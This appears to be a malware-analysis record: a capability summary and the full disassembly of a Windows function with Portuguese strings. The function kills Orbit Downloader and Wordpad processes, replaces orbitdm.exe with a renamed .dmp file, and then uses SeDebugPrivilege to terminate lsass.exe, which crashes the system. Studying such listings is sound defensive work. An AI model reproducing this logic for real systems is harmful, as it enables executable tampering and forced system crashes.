Function at 0x1400019f0
Capabilities:
Acquire debug privileges
Check if file exists
Delete file
Enumerate processes
Execute command
Get session user name
Move file
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x510], rax
call fcn.1400017e0
test eax, eax
je 0x1400022ca
call fcn.140001460
cmp eax, 3
jne 0x140001f81
mov qword [rsp + 0x650], rbx
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x400]
mov qword [rsp + 0x630], r13
mov dword [rbp + 0x180], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
lea rax, [rbp + 0x400]
movups xmmword [rbp + 0x188], xmm0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001a73
movabs r13, 0x7fffffffffffffff
cmp rbx, r13
ja 0x1400022d8
mov qword [rsp + 0x658], rsi
mov qword [rsp + 0x660], rdi
mov qword [rsp + 0x628], r14
mov qword [rsp + 0x620], r15
cmp rbx, 0x10
jae 0x140001aff
mov r8, rbx
mov qword [rbp + 0x198], rbx
lea rdx, [rbp + 0x400]
mov qword [rbp + 0x1a0], 0xf
lea rcx, [rbp + 0x188]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x188], 0
mov r13, qword [rbp + 0x1a0]
mov rbx, qword [rbp + 0x198]
mov r15, qword [rbp + 0x188]
jmp 0x140001ba1
mov rax, rbx
or rax, 0xf
cmp rax, r13
jbe 0x140001b38
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002c10
test rax, rax
je 0x1400022c3
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001b75
mov ecx, 0x16
mov r13, rax
cmp rax, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
cmp rcx, 0x1000
jb 0x140001b63
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400022de
jmp 0x140001b19
test rcx, rcx
je 0x140001b72
call fcn.140002c10
mov r15, rax
jmp 0x140001b75
xor r15d, r15d
mov r8, rbx
mov qword [rbp + 0x188], r15
lea rdx, [rbp + 0x400]
mov qword [rbp + 0x198], rbx
mov rcx, r15
mov qword [rbp + 0x1a0], r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], 0
cmp r13, 0x10
lea rcx, [rbp + 0x188]
cmovae rcx, r15
cmp rbx, 6
jne 0x14000228c
mov r8, rbx
lea rdx, str.Borges
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000228c
mov rcx, qword [0x140004208]
lea rdx, str.O_nome_de_usurio__Borges_n
mov qword [rsp + 0x638], r12
call fcn.140002470
lea rax, str.orbitdm.exe
xor r12d, r12d
mov qword [rbp + 0x188], rax
lea rax, str.orbit.exe
mov qword [rbp + 0x190], rax
lea rax, str.Wordpad.exe
mov qword [rbp + 0x198], rax
nop dword [rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001dbe
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001db5
mov rsi, qword [rbp + r12*8 + 0x188]
lea rax, [rsp + 0x6c]
mov r8, rsi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001c94
add rax, 2
test ecx, ecx
jne 0x140001c80
test edx, edx
jne 0x140001d9f
mov r8d, dword [rsp + 0x48]
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001d4f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x140001cf4
mov rcx, qword [0x1400041f8]
lea rdx, str.Processo
call fcn.140002640
mov rcx, rax
mov rdx, rsi
call fcn.140002640
mov rcx, rax
lea rdx, str._finalizado_com_sucesso.
call fcn.140002640
jmp 0x140001d34
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x1400041f8]
lea rdx, str.Erro_ao_finalizar_o_processo
mov ebx, eax
call fcn.140002640
mov rcx, rax
mov rdx, rsi
call fcn.140002640
mov rcx, rax
lea rdx, [0x140004784]
call fcn.140002640
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140002820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001d9f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x1400041f8]
lea rdx, str.Erro_ao_abrir_o_processo
mov ebx, eax
call fcn.140002640
mov rcx, rax
mov rdx, rsi
call fcn.140002640
mov rcx, rax
lea rdx, [0x140004784]
call fcn.140002640
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002820]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001c70
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
cmp r12, 3
jl 0x140001c20
mov r12, qword [rsp + 0x638]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001230
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r14d, r14d
lea r8, str.D:Program_FilesOrbitdownloaderorbitdm.dmp
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x28], r14d
mov r9d, edi
mov qword [rsp + 0x20], r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140002c54
mov r9d, edi
mov dword [rsp + 0x28], ebx
lea r8, str.D:Program_FilesOrbitdownloaderorbitdm.dmp
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, edi
mov dword [rsp + 0x28], r14d
lea r8, str.D:Program_FilesOrbitdownloaderorbitdm.exe
mov qword [rsp + 0x20], r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140002c54
mov r9d, edi
mov dword [rsp + 0x28], ebx
lea r8, str.D:Program_FilesOrbitdownloaderorbitdm.exe
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, str.D:Program_FilesOrbitdownloaderorbitdm.exe
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140001f99
lea rcx, str.D:Program_FilesOrbitdownloaderorbitdm.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140001f99
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140004208]
lea rdx, str.Erro_ao_excluir_arquivo_existente:
mov ebx, eax
call fcn.140002470
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp r13, 0x10
jb 0x140001f4c
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001f44
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000202f
mov rcx, r15
call fcn.140002c4c
mov eax, 1
mov r14, qword [rsp + 0x628]
mov rsi, qword [rsp + 0x658]
mov rdi, qword [rsp + 0x660]
mov r15, qword [rsp + 0x620]
mov rbx, qword [rsp + 0x650]
mov r13, qword [rsp + 0x630]
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140002bf0
add rsp, 0x640
pop rbp
ret
lea rdx, str.D:Program_FilesOrbitdownloaderorbitdm.exe
lea rcx, str.D:Program_FilesOrbitdownloaderorbitdm.dmp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140002036
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140004208]
lea rdx, str.Erro_ao_renomear_arquivo:
mov ebx, eax
call fcn.140002470
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp r13, 0x10
jb 0x140001f4c
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001f44
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [0x140004208]
lea rdx, str.Arquivo_renomeado_com_sucesso_
call fcn.140002470
mov rcx, rax
lea rdx, [0x140002860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov edi, r14d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rbp + 0x1c0], 0x238
mov r8d, 0x234
lea rcx, [rbp + 0x1c4]
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400020ee
lea rsi, str.lsass.exe
nop
lea rdx, [rbp + 0x1ec]
mov rcx, r14
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x1400021bc
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x1400021bc
add rcx, 2
cmp rcx, 0xa
jne 0x1400020c0
mov edi, dword [rbp + 0x1c8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140002120
lea rcx, str.Erro_ao_abrir_o_processo_atual._n
call fcn.140001010
lea r8, [rbp + 0x1ac]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rbp + 0x1a8]
mov r9d, 0x10
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rbp + 0x1a8], 1
mov dword [rbp + 0x1b4], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000217e
lea rcx, str.Erro_ao_ajustar_os_privilgios_do_token._n
call fcn.140001010
xor edx, edx
mov r8d, edi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000221a
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1400021d9
mov rcx, qword [0x140004208]
lea rdx, str.Processo_steam.exe_finalizado_com_sucesso_
call fcn.140002470
jmp 0x1400021ff
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400020b0
jmp 0x1400020ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140004208]
lea rdx, str.Erro_ao_finalizar_o_processo_steam.exe:
mov ebx, eax
call fcn.140002470
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002250
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140004208]
lea rdx, str.Erro_ao_abrir_o_processo_steam.exe:
mov ebx, eax
call fcn.140002470
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp r13, 0x10
jb 0x140001f51
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000227f
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022c3
mov rcx, r15
call fcn.140002c4c
jmp 0x140001f51
cmp r13, 0x10
jb 0x140001f4c
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001f44
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400018d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001210
int3
call fcn.140001170
int3